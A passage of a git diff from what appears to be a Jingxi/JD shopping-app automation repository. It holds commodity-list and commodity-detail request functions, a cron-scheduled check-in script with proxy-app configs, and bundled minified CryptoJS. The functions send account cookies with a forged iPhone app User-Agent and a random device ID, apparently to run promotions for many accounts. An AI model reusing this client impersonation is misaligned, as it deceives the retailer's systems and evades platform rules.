ndTime":0,"limitStartTime":0,"limitType":0,"name":"桌面收纳柜","picture":"//img10.360buyimg.com/mobilecms/s200x200_jfs/t1/204474/24/14755/28897/618b7dfcE6fe73b24/bbbbf32a50ebf0d9.png","predictProductionDays":"6","produceLevelMax":30,"produceLevelMin":1,"productLimFlag":0,"productionTotal":10053,"raceCompleteNum":0,"raceEndTime":0,"raceStockNum":0,"sendElectricPercent":1,"showStock":0,"starLevel":3,"status":1,"stockNum":2950,"userLimitNum":1},{"commodityId":1958,"exchangeLimitSeconds":172800,"exclusiveChannel":0,"expressText":"甘肃、青海、新疆、台湾、钓鱼岛、尚义县、清镇市、仁怀市、银川市、雁塔区、红花岗区、汇川区、长安区、信都区、襄都区、未央区、阎良区、新城区、港澳、海外、莲池区不发货","flashStartTime":1636632000,"label":0,"limitEndTime":0,"limitStartTime":0,"limitType":4,"name":"美的微波炉","picture":"//img10.360buyimg.com/mobilecms/s200x200_jfs/t1/170109/37/22755/7422/6178b994Ea776a3b2/372067cdacb2e4c3.png","predictProductionDays":"1","produceLevelMax":30,"produceLevelMin":1,"productLimFlag":0,"productionTotal":8,"raceCompleteNum":0,"raceEndTime":0,"raceStockNum":0,"sendElectricPercent":1,"showStock":0,"starLevel":1,"status":1,"stockNum":1,"userLimitNum":1},{"commodityId":1984,"exchangeLimitSeconds":172800,"exclusiveChannel":0,"expressText":"海南、西藏、新疆、台湾、钓鱼岛、港澳、海外不发货","flashStartTime":0,"label":0,"limitEndTime":0,"limitStartTime":0,"limitType":0,"name":"拉面碗4个装","picture":"//img10.360buyimg.com/mobilecms/s200x200_jfs/t1/161607/9/21878/8106/6180fb2dEe528464a/65d83198fb081c85.png","predictProductionDays":"7","produceLevelMax":30,"produceLevelMin":1,"productLimFlag":0,"productionTotal":28886,"raceCompleteNum":0,"raceEndTime":0,"raceStockNum":0,"sendElectricPercent":1,"showStock":0,"starLevel":3,"status":1,"stockNum":1115,"userLimitNum":1},{"commodityId":1988,"exchangeLimitSeconds":172800,"exclusiveChannel":0,"expressText":"西藏、青海、新疆、长宁区、闵行区、青浦区不发货","flashStartTime":0,"label":0,"limitEndTime":0,"limitStartTime":0,"limitType":0,"name":"汤勺漏勺4支装","picture":"//img10.360buyimg.com/mobilecms/s200x200_jfs/t1/216578/33/2811/7981/6180fc82E1dce001d/8537f027ba303dfc.png","predictProductionDays":"4","produceLevelMax":30,"produceLevelMin":1,"productLimFlag":0,"productionTotal":11260,"raceCompleteNum":0,"raceEndTime":0,"raceStockNum":0,"sendElectricPercent":1,"showStock":0,"starLevel":2,"status":1,"stockNum":3740,"userLimitNum":1},{"commodityId":1991,"exchangeLimitSeconds":172800,"exclusiveChannel":0,"expressText":"宁夏、新疆、石家庄市、大连市、哈尔滨市、黑河市、二连浩特市、阿拉善盟、常州市、日照市、株洲市、上饶市、成都市、兰州市、天水市、嘉峪关市、陇南市、张掖市、酒泉市、甘南州、青浦区、昌平区不发货","flashStartTime":0,"label":0,"limitEndTime":0,"limitStartTime":0,"limitType":0,"name":"茶里乌龙茶包","picture":"//img10.360buyimg.com/mobilecms/s200x200_jfs/t1/156199/9/24504/10220/6188ce73E31cdc245/d016ad5cc40a6ad7.png","predictProductionDays":"5","produceLevelMax":30,"produceLevelMin":1,"productLimFlag":0,"productionTotal":4103,"raceCompleteNum":0,"raceEndTime":0,"raceStockNum":0,"sendElectricPercent":1,"showStock":0,"starLevel":2,"status":1,"stockNum":897,"userLimitNum":1},{"commodityId":1992,"exchangeLimitSeconds":172800,"exclusiveChannel":0,"expressText":"上海、黑龙江、内蒙古、海南、贵州、西藏、甘肃、青海、宁夏、新疆、台湾、钓鱼岛、港澳、海外不发货","flashStartTime":0,"label":0,"limitEndTime":0,"limitStartTime":0,"limitType":0,"name":"毛球修剪器","picture":"//img10.360buyimg.com/mobilecms/s200x200_jfs/t1/214717/8/3614/7172/6188d29bEe9fd503b/c854a3de8305fdc1.png","predictProductionDays":"6","produceLevelMax":30,"produceLevelMin":1,"productLimFlag":0,"productionTotal":7953,"raceCompleteNum":0,"raceEndTime":0,"raceStockNum":0,"sendElectricPercent":1,"showStock":0,"starLevel":3,"status":1,"stockNum":12048,"userLimitNum":1},{"commodityId":1993,"exchangeLimitSeconds":172800,"exclusiveChannel":0,"expressText":"","flashStartTime":0,"label":0,"limitEndTime":0,"limitStartTime":0,"limitType":0,"name":"秋冬毛绒围脖","picture":"//img10.360buyimg.com/mobilecms/s200x200_jfs/t1/197696/28/16685/9626/6188d2e7E97bdaa1b/56a2351716900b29.png","predictProductionDays":"5","produceLevelMax":30,"produceLevelMin":1,"productLimFlag":0,"productionTotal":5740,"raceCompleteNum":0,"raceEndTime":0,"raceStockNum":0,"sendElectricPercent":1,"showStock":0,"starLevel":2,"status":1,"stockNum":14261,"userLimitNum":1},{"commodityId":1994,"exchangeLimitSeconds":172800,"exclusiveChannel":0,"expressText":"内蒙古、海南、西藏、甘肃、青海、宁夏、新疆、台湾、钓鱼岛、哈尔滨市、黑河市、成都市、遵义市、昌平区、武进区、港澳、海外不发货","flashStartTime":0,"label":0,"limitEndTime":0,"limitStartTime":0,"limitType":0,"name":"多孔插排","picture":"//img10.360buyimg.com/mobilecms/s200x200_jfs/t1/213301/4/3641/5663/6188d3e4Eb9a5a627/3e28b9a27460f17d.png","predictProductionDays":"7","produceLevelMax":30,"produceLevelMin":1,"productLimFlag":0,"productionTotal":8457,"raceCompleteNum":0,"raceEndTime":0,"raceStockNum":0,"sendElectricPercent":1,"showStock":0,"starLevel":3,"status":1,"stockNum":1544,"userLimitNum":1},{"commodityId":1941,"exchangeLimitSeconds":172800,"exclusiveChannel":0,"expressText":"西藏、新疆、港澳、海外不发货","flashStartTime":0,"label":0,"limitEndTime":0,"limitStartTime":0,"limitType":0,"name":"珊瑚绒睡裤","picture":"//img10.360buyimg.com/mobilecms/s200x200_jfs/t1/170576/12/21719/9109/61726e03Ea7eb7800/e8463377da2c0e74.png","predictProductionDays":"7","produceLevelMax":30,"produceLevelMin":1,"productLimFlag":0,"productionTotal":57847,"raceCompleteNum":0,"raceEndTime":0,"raceStockNum":0,"sendElectricPercent":93,"showStock":0,"starLevel":3,"status":1,"stockNum":153,"userLimitNum":1}],"totalCount":11},"msg":"OK","nowTime":1636619667,"ret":0} +)} catch (e) {} + */ +// noinspection DuplicatedCode +async function GetCommodityList() { + let url = `https://m.jingxi.com/dreamfactory/diminfo/GetCommodityList?zone=dream_factory&flag=2&pageNo=1&pageSize=12&_time=1636619666773&_ts=1636619666773&_=1636619666773&sceneval=2&g_login_type=1&callback=jsonpCBKKK&g_ty=ls`; + // noinspection DuplicatedCode + let headers = { + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'Referer': 'https://st.jingxi.com/pingou/dream_factory/index.html', + 'Accept-Encoding': 'gzip, deflate, br', + 'Host': 'm.jingxi.com', + 'Accept-Language': 'zh-cn', + 'Cookie': $.cookie + } + // noinspection DuplicatedCode + headers['User-Agent'] = `jdpingou;iPhone;5.2.2;14.3;${$.randomString( + 40)};network/wifi;model/iPhone12,1;appBuild/100630;ADID/00000000-0000-0000-0000-000000000000;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/0;hasOCPay/0;supportBestPay/0;session/1;pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148` + let data = await $.get(url, headers) + // noinspection DuplicatedCode + if (data?.ret === 0) { + return data?.data + } + return false; +} + +/** + * 商品详情 + * + * try {jsonpCBKWWW({"data":{"commodityList":[{"commodityId":1981,"createTime":1635842589,"description":"【活动价为12.9元,完成需支付4元下单】","deviceIds":"1","electricThreshold":0,"exchangeLimitSeconds":172800,"exclusiveChannel":0,"expressText":"内蒙古、西藏、甘肃、青海、新疆、台湾、钓鱼岛、晋中市、蒲县、濮阳市、哈尔滨市、黑河市、呼玛县、连云港市、扬州市、淄博市、日照市、长兴县、仙游县、攸县、衡阳市、隆回县、靖西市、富顺县、合江县、旺苍县、若尔盖县、石渠县、遵义市、昆明市、普洱市、德宏州、西安市、洋县、银川市、吴忠市、昌平区、蜀山区、管城回族区、云龙镇、大沥镇、高新技术产业开发区、港澳、海外不发货","flashStartTime":0,"isPingouFactSkuInfo":2,"label":0,"ladderActive":"[]","limitEndTime":0,"limitStartTime":0,"limitType":0,"materialIds":"520","name":"保暖毛圈袜5双","offlineTime":1636819199,"onlineTime":1635868800,"picture":"//img10.360buyimg.com/mobilecms/s200x200_jfs/t1/201640/24/13983/12979/6180fa27E7a8317b9/121ef886afc15c9e.png","pingouFactZoneName":"","predictProductDays":"7","price":12600,"prizePoolIds":"","produceLevelMax":30,"produceLevelMin":1,"productLimFlag":0,"productLimSeconds":1900800,"productionCondition":"限时22天完成生产 |内蒙古、西藏、甘肃、青海、新疆、台湾、钓鱼岛、晋中市、蒲县、濮阳市、哈尔滨市、黑河市、呼玛县、连云港市、扬州市、淄博市、日照市、长兴县、仙游县、攸县、衡阳市、隆回县、靖西市、富顺县、合江县、旺苍县、若尔盖县、石渠县、遵义市、昆明市、普洱市、德宏州、西安市、洋县、银川市、吴忠市、昌平区、蜀山区、管城回族区、云龙镇、大沥镇、高新技术产业开发区、港澳、海外不发货","raceCompleteNum":0,"raceEndTime":0,"raceStockNum":0,"sendElectricPercent":1,"showStock":0,"skuId":"10037609865072","starLevel":3,"status":1,"stockNum":0,"typeId":0,"updateTime":1636338700,"usedNum":4463,"userLimitNum":1,"userProductionNum":1}]},"msg":"OK","nowTime":1636437544,"ret":0} +)} catch (e) {} + */ +// noinspection DuplicatedCode +async function GetCommodityDetails(commodityId) { + let url = `https://m.jingxi.com/dreamfactory/diminfo/GetCommodityDetails?zone=dream_factory&commodityId=${commodityId}&_time=1636437544857&_ts=1636437544857&_=1636437544857&sceneval=2&g_login_type=1&callback=jsonpCBKWWW&g_ty=ls`; + // noinspection DuplicatedCode + let headers = { + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'Referer': 'https://st.jingxi.com/pingou/dream_factory/index.html', + 'Accept-Encoding': 'gzip, deflate, br', + 'Host': 'm.jingxi.com', + 'Accept-Language': 'zh-cn', + 'Cookie': $.cookie + } + // noinspection DuplicatedCode + headers['User-Agent'] = `jdpingou;iPhone;5.2.2;14.3;${$.randomString( + 40)};network/wifi;model/iPhone12,1;appBuild/100630;ADID/00000000-0000-0000-0000-000000000000;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/0;hasOCPay/0;supportBestPay/0;session/1;pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148` + let data = await $.get(url, headers) + // noinspection DuplicatedCode + return data?.data?.commodityList?.[0] +} diff --git a/jx_sign.js b/jx_sign.js new file mode 100644 index 0000000..2d040b6 --- /dev/null +++ b/jx_sign.js @@ -0,0 +1,707 @@ +/* +京喜签到 +cron 20 1,8 * * * jx_sign.js +活动入口:京喜APP-我的-京喜签到 + +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#京喜签到 +20 1,8 * * * https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jx_sign.js, tag=京喜签到, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jxcfd.png, enabled=true + +================Loon============== +[Script] +cron "20 1,8 * * *" script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jx_sign.js,tag=京喜签到 + +===============Surge================= +京喜签到 = type=cron,cronexp="20 1,8 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jx_sign.js + +============小火箭========= +京喜签到 = type=cron,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jx_sign.js, cronexpr="20 1,8 * * *", timeout=3600, enable=true + */ +!function (t, r) { "object" == typeof exports ? module.exports = exports = r() : "function" == typeof define && define.amd ? define([], r) : t.CryptoJS = r() }(this, function () { + var t = t || function (t, r) { var e = Object.create || function () { function t() { } return function (r) { var e; return t.prototype = r, e = new t, t.prototype = null, e } }(), i = {}, n = i.lib = {}, o = n.Base = function () { return { extend: function (t) { var r = e(this); return t && r.mixIn(t), r.hasOwnProperty("init") && this.init !== r.init || (r.init = function () { r.$super.init.apply(this, arguments) }), r.init.prototype = r, r.$super = this, r }, create: function () { var t = this.extend(); return t.init.apply(t, arguments), t }, init: function () { }, mixIn: function (t) { for (var r in t) t.hasOwnProperty(r) && (this[r] = t[r]); t.hasOwnProperty("toString") && (this.toString = t.toString) }, clone: function () { return this.init.prototype.extend(this) } } }(), s = n.WordArray = o.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 4 * t.length }, toString: function (t) { return (t || c).stringify(this) }, concat: function (t) { var r = this.words, e = t.words, i = this.sigBytes, n = t.sigBytes; if (this.clamp(), i % 4) for (var o = 0; o < n; o++) { var s = e[o >>> 2] >>> 24 - o % 4 * 8 & 255; r[i + o >>> 2] |= s << 24 - (i + o) % 4 * 8 } else for (var o = 0; o < n; o += 4)r[i + o >>> 2] = e[o >>> 2]; return this.sigBytes += n, this }, clamp: function () { var r = this.words, e = this.sigBytes; r[e >>> 2] &= 4294967295 << 32 - e % 4 * 8, r.length = t.ceil(e / 4) }, clone: function () { var t = o.clone.call(this); return t.words = this.words.slice(0), t }, random: function (r) { for (var e, i = [], n = function (r) { var r = r, e = 987654321, i = 4294967295; return function () { e = 36969 * (65535 & e) + (e >> 16) & i, r = 18e3 * (65535 & r) + (r >> 16) & i; var n = (e << 16) + r & i; return n /= 4294967296, n += .5, n * (t.random() > .5 ? 1 : -1) } }, o = 0; o < r; o += 4) { var a = n(4294967296 * (e || t.random())); e = 987654071 * a(), i.push(4294967296 * a() | 0) } return new s.init(i, r) } }), a = i.enc = {}, c = a.Hex = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push((o >>> 4).toString(16)), i.push((15 & o).toString(16)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i += 2)e[i >>> 3] |= parseInt(t.substr(i, 2), 16) << 24 - i % 8 * 4; return new s.init(e, r / 2) } }, h = a.Latin1 = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 2] |= (255 & t.charCodeAt(i)) << 24 - i % 4 * 8; return new s.init(e, r) } }, l = a.Utf8 = { stringify: function (t) { try { return decodeURIComponent(escape(h.stringify(t))) } catch (t) { throw new Error("Malformed UTF-8 data") } }, parse: function (t) { return h.parse(unescape(encodeURIComponent(t))) } }, f = n.BufferedBlockAlgorithm = o.extend({ reset: function () { this._data = new s.init, this._nDataBytes = 0 }, _append: function (t) { "string" == typeof t && (t = l.parse(t)), this._data.concat(t), this._nDataBytes += t.sigBytes }, _process: function (r) { var e = this._data, i = e.words, n = e.sigBytes, o = this.blockSize, a = 4 * o, c = n / a; c = r ? t.ceil(c) : t.max((0 | c) - this._minBufferSize, 0); var h = c * o, l = t.min(4 * h, n); if (h) { for (var f = 0; f < h; f += o)this._doProcessBlock(i, f); var u = i.splice(0, h); e.sigBytes -= l } return new s.init(u, l) }, clone: function () { var t = o.clone.call(this); return t._data = this._data.clone(), t }, _minBufferSize: 0 }), u = (n.Hasher = f.extend({ cfg: o.extend(), init: function (t) { this.cfg = this.cfg.extend(t), this.reset() }, reset: function () { f.reset.call(this), this._doReset() }, update: function (t) { return this._append(t), this._process(), this }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, blockSize: 16, _createHelper: function (t) { return function (r, e) { return new t.init(e).finalize(r) } }, _createHmacHelper: function (t) { return function (r, e) { return new u.HMAC.init(t, e).finalize(r) } } }), i.algo = {}); return i }(Math); return function () { function r(t, r, e) { for (var i = [], o = 0, s = 0; s < r; s++)if (s % 4) { var a = e[t.charCodeAt(s - 1)] << s % 4 * 2, c = e[t.charCodeAt(s)] >>> 6 - s % 4 * 2; i[o >>> 2] |= (a | c) << 24 - o % 4 * 8, o++ } return n.create(i, o) } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Base64 = { stringify: function (t) { var r = t.words, e = t.sigBytes, i = this._map; t.clamp(); for (var n = [], o = 0; o < e; o += 3)for (var s = r[o >>> 2] >>> 24 - o % 4 * 8 & 255, a = r[o + 1 >>> 2] >>> 24 - (o + 1) % 4 * 8 & 255, c = r[o + 2 >>> 2] >>> 24 - (o + 2) % 4 * 8 & 255, h = s << 16 | a << 8 | c, l = 0; l < 4 && o + .75 * l < e; l++)n.push(i.charAt(h >>> 6 * (3 - l) & 63)); var f = i.charAt(64); if (f) for (; n.length % 4;)n.push(f); return n.join("") }, parse: function (t) { var e = t.length, i = this._map, n = this._reverseMap; if (!n) { n = this._reverseMap = []; for (var o = 0; o < i.length; o++)n[i.charCodeAt(o)] = o } var s = i.charAt(64); if (s) { var a = t.indexOf(s); a !== -1 && (e = a) } return r(t, e, n) }, _map: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" } }(), function (r) { function e(t, r, e, i, n, o, s) { var a = t + (r & e | ~r & i) + n + s; return (a << o | a >>> 32 - o) + r } function i(t, r, e, i, n, o, s) { var a = t + (r & i | e & ~i) + n + s; return (a << o | a >>> 32 - o) + r } function n(t, r, e, i, n, o, s) { var a = t + (r ^ e ^ i) + n + s; return (a << o | a >>> 32 - o) + r } function o(t, r, e, i, n, o, s) { var a = t + (e ^ (r | ~i)) + n + s; return (a << o | a >>> 32 - o) + r } var s = t, a = s.lib, c = a.WordArray, h = a.Hasher, l = s.algo, f = []; !function () { for (var t = 0; t < 64; t++)f[t] = 4294967296 * r.abs(r.sin(t + 1)) | 0 }(); var u = l.MD5 = h.extend({ _doReset: function () { this._hash = new c.init([1732584193, 4023233417, 2562383102, 271733878]) }, _doProcessBlock: function (t, r) { for (var s = 0; s < 16; s++) { var a = r + s, c = t[a]; t[a] = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8) } var h = this._hash.words, l = t[r + 0], u = t[r + 1], d = t[r + 2], v = t[r + 3], p = t[r + 4], _ = t[r + 5], y = t[r + 6], g = t[r + 7], B = t[r + 8], w = t[r + 9], k = t[r + 10], S = t[r + 11], m = t[r + 12], x = t[r + 13], b = t[r + 14], H = t[r + 15], z = h[0], A = h[1], C = h[2], D = h[3]; z = e(z, A, C, D, l, 7, f[0]), D = e(D, z, A, C, u, 12, f[1]), C = e(C, D, z, A, d, 17, f[2]), A = e(A, C, D, z, v, 22, f[3]), z = e(z, A, C, D, p, 7, f[4]), D = e(D, z, A, C, _, 12, f[5]), C = e(C, D, z, A, y, 17, f[6]), A = e(A, C, D, z, g, 22, f[7]), z = e(z, A, C, D, B, 7, f[8]), D = e(D, z, A, C, w, 12, f[9]), C = e(C, D, z, A, k, 17, f[10]), A = e(A, C, D, z, S, 22, f[11]), z = e(z, A, C, D, m, 7, f[12]), D = e(D, z, A, C, x, 12, f[13]), C = e(C, D, z, A, b, 17, f[14]), A = e(A, C, D, z, H, 22, f[15]), z = i(z, A, C, D, u, 5, f[16]), D = i(D, z, A, C, y, 9, f[17]), C = i(C, D, z, A, S, 14, f[18]), A = i(A, C, D, z, l, 20, f[19]), z = i(z, A, C, D, _, 5, f[20]), D = i(D, z, A, C, k, 9, f[21]), C = i(C, D, z, A, H, 14, f[22]), A = i(A, C, D, z, p, 20, f[23]), z = i(z, A, C, D, w, 5, f[24]), D = i(D, z, A, C, b, 9, f[25]), C = i(C, D, z, A, v, 14, f[26]), A = i(A, C, D, z, B, 20, f[27]), z = i(z, A, C, D, x, 5, f[28]), D = i(D, z, A, C, d, 9, f[29]), C = i(C, D, z, A, g, 14, f[30]), A = i(A, C, D, z, m, 20, f[31]), z = n(z, A, C, D, _, 4, f[32]), D = n(D, z, A, C, B, 11, f[33]), C = n(C, D, z, A, S, 16, f[34]), A = n(A, C, D, z, b, 23, f[35]), z = n(z, A, C, D, u, 4, f[36]), D = n(D, z, A, C, p, 11, f[37]), C = n(C, D, z, A, g, 16, f[38]), A = n(A, C, D, z, k, 23, f[39]), z = n(z, A, C, D, x, 4, f[40]), D = n(D, z, A, C, l, 11, f[41]), C = n(C, D, z, A, v, 16, f[42]), A = n(A, C, D, z, y, 23, f[43]), z = n(z, A, C, D, w, 4, f[44]), D = n(D, z, A, C, m, 11, f[45]), C = n(C, D, z, A, H, 16, f[46]), A = n(A, C, D, z, d, 23, f[47]), z = o(z, A, C, D, l, 6, f[48]), D = o(D, z, A, C, g, 10, f[49]), C = o(C, D, z, A, b, 15, f[50]), A = o(A, C, D, z, _, 21, f[51]), z = o(z, A, C, D, m, 6, f[52]), D = o(D, z, A, C, v, 10, f[53]), C = o(C, D, z, A, k, 15, f[54]), A = o(A, C, D, z, u, 21, f[55]), z = o(z, A, C, D, B, 6, f[56]), D = o(D, z, A, C, H, 10, f[57]), C = o(C, D, z, A, y, 15, f[58]), A = o(A, C, D, z, x, 21, f[59]), z = o(z, A, C, D, p, 6, f[60]), D = o(D, z, A, C, S, 10, f[61]), C = o(C, D, z, A, d, 15, f[62]), A = o(A, C, D, z, w, 21, f[63]), h[0] = h[0] + z | 0, h[1] = h[1] + A | 0, h[2] = h[2] + C | 0, h[3] = h[3] + D | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; e[n >>> 5] |= 128 << 24 - n % 32; var o = r.floor(i / 4294967296), s = i; e[(n + 64 >>> 9 << 4) + 15] = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), e[(n + 64 >>> 9 << 4) + 14] = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8), t.sigBytes = 4 * (e.length + 1), this._process(); for (var a = this._hash, c = a.words, h = 0; h < 4; h++) { var l = c[h]; c[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } return a }, clone: function () { var t = h.clone.call(this); return t._hash = this._hash.clone(), t } }); s.MD5 = h._createHelper(u), s.HmacMD5 = h._createHmacHelper(u) }(Math), function () { var r = t, e = r.lib, i = e.WordArray, n = e.Hasher, o = r.algo, s = [], a = o.SHA1 = n.extend({ _doReset: function () { this._hash = new i.init([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], a = e[3], c = e[4], h = 0; h < 80; h++) { if (h < 16) s[h] = 0 | t[r + h]; else { var l = s[h - 3] ^ s[h - 8] ^ s[h - 14] ^ s[h - 16]; s[h] = l << 1 | l >>> 31 } var f = (i << 5 | i >>> 27) + c + s[h]; f += h < 20 ? (n & o | ~n & a) + 1518500249 : h < 40 ? (n ^ o ^ a) + 1859775393 : h < 60 ? (n & o | n & a | o & a) - 1894007588 : (n ^ o ^ a) - 899497514, c = a, a = o, o = n << 30 | n >>> 2, n = i, i = f } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + a | 0, e[4] = e[4] + c | 0 }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; return r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = Math.floor(e / 4294967296), r[(i + 64 >>> 9 << 4) + 15] = e, t.sigBytes = 4 * r.length, this._process(), this._hash }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t } }); r.SHA1 = n._createHelper(a), r.HmacSHA1 = n._createHmacHelper(a) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.algo, a = [], c = []; !function () { function t(t) { for (var e = r.sqrt(t), i = 2; i <= e; i++)if (!(t % i)) return !1; return !0 } function e(t) { return 4294967296 * (t - (0 | t)) | 0 } for (var i = 2, n = 0; n < 64;)t(i) && (n < 8 && (a[n] = e(r.pow(i, .5))), c[n] = e(r.pow(i, 1 / 3)), n++), i++ }(); var h = [], l = s.SHA256 = o.extend({ _doReset: function () { this._hash = new n.init(a.slice(0)) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], l = e[5], f = e[6], u = e[7], d = 0; d < 64; d++) { if (d < 16) h[d] = 0 | t[r + d]; else { var v = h[d - 15], p = (v << 25 | v >>> 7) ^ (v << 14 | v >>> 18) ^ v >>> 3, _ = h[d - 2], y = (_ << 15 | _ >>> 17) ^ (_ << 13 | _ >>> 19) ^ _ >>> 10; h[d] = p + h[d - 7] + y + h[d - 16] } var g = a & l ^ ~a & f, B = i & n ^ i & o ^ n & o, w = (i << 30 | i >>> 2) ^ (i << 19 | i >>> 13) ^ (i << 10 | i >>> 22), k = (a << 26 | a >>> 6) ^ (a << 21 | a >>> 11) ^ (a << 7 | a >>> 25), S = u + k + g + c[d] + h[d], m = w + B; u = f, f = l, l = a, a = s + S | 0, s = o, o = n, n = i, i = S + m | 0 } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + s | 0, e[4] = e[4] + a | 0, e[5] = e[5] + l | 0, e[6] = e[6] + f | 0, e[7] = e[7] + u | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; return e[n >>> 5] |= 128 << 24 - n % 32, e[(n + 64 >>> 9 << 4) + 14] = r.floor(i / 4294967296), e[(n + 64 >>> 9 << 4) + 15] = i, t.sigBytes = 4 * e.length, this._process(), this._hash }, clone: function () { var t = o.clone.call(this); return t._hash = this._hash.clone(), t } }); e.SHA256 = o._createHelper(l), e.HmacSHA256 = o._createHmacHelper(l) }(Math), function () { function r(t) { return t << 8 & 4278255360 | t >>> 8 & 16711935 } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Utf16 = o.Utf16BE = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n += 2) { var o = r[n >>> 2] >>> 16 - n % 4 * 8 & 65535; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 1] |= t.charCodeAt(i) << 16 - i % 2 * 16; return n.create(e, 2 * r) } }; o.Utf16LE = { stringify: function (t) { for (var e = t.words, i = t.sigBytes, n = [], o = 0; o < i; o += 2) { var s = r(e[o >>> 2] >>> 16 - o % 4 * 8 & 65535); n.push(String.fromCharCode(s)) } return n.join("") }, parse: function (t) { for (var e = t.length, i = [], o = 0; o < e; o++)i[o >>> 1] |= r(t.charCodeAt(o) << 16 - o % 2 * 16); return n.create(i, 2 * e) } } }(), function () { if ("function" == typeof ArrayBuffer) { var r = t, e = r.lib, i = e.WordArray, n = i.init, o = i.init = function (t) { if (t instanceof ArrayBuffer && (t = new Uint8Array(t)), (t instanceof Int8Array || "undefined" != typeof Uint8ClampedArray && t instanceof Uint8ClampedArray || t instanceof Int16Array || t instanceof Uint16Array || t instanceof Int32Array || t instanceof Uint32Array || t instanceof Float32Array || t instanceof Float64Array) && (t = new Uint8Array(t.buffer, t.byteOffset, t.byteLength)), t instanceof Uint8Array) { for (var r = t.byteLength, e = [], i = 0; i < r; i++)e[i >>> 2] |= t[i] << 24 - i % 4 * 8; n.call(this, e, r) } else n.apply(this, arguments) }; o.prototype = i } }(), function (r) { function e(t, r, e) { return t ^ r ^ e } function i(t, r, e) { return t & r | ~t & e } function n(t, r, e) { return (t | ~r) ^ e } function o(t, r, e) { return t & e | r & ~e } function s(t, r, e) { return t ^ (r | ~e) } function a(t, r) { return t << r | t >>> 32 - r } var c = t, h = c.lib, l = h.WordArray, f = h.Hasher, u = c.algo, d = l.create([0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 7, 4, 13, 1, 10, 6, 15, 3, 12, 0, 9, 5, 2, 14, 11, 8, 3, 10, 14, 4, 9, 15, 8, 1, 2, 7, 0, 6, 13, 11, 5, 12, 1, 9, 11, 10, 0, 8, 12, 4, 13, 3, 7, 15, 14, 5, 6, 2, 4, 0, 5, 9, 7, 12, 2, 10, 14, 1, 3, 8, 11, 6, 15, 13]), v = l.create([5, 14, 7, 0, 9, 2, 11, 4, 13, 6, 15, 8, 1, 10, 3, 12, 6, 11, 3, 7, 0, 13, 5, 10, 14, 15, 8, 12, 4, 9, 1, 2, 15, 5, 1, 3, 7, 14, 6, 9, 11, 8, 12, 2, 10, 0, 4, 13, 8, 6, 4, 1, 3, 11, 15, 0, 5, 12, 2, 13, 9, 7, 10, 14, 12, 15, 10, 4, 1, 5, 8, 7, 6, 2, 13, 14, 0, 3, 9, 11]), p = l.create([11, 14, 15, 12, 5, 8, 7, 9, 11, 13, 14, 15, 6, 7, 9, 8, 7, 6, 8, 13, 11, 9, 7, 15, 7, 12, 15, 9, 11, 7, 13, 12, 11, 13, 6, 7, 14, 9, 13, 15, 14, 8, 13, 6, 5, 12, 7, 5, 11, 12, 14, 15, 14, 15, 9, 8, 9, 14, 5, 6, 8, 6, 5, 12, 9, 15, 5, 11, 6, 8, 13, 12, 5, 12, 13, 14, 11, 8, 5, 6]), _ = l.create([8, 9, 9, 11, 13, 15, 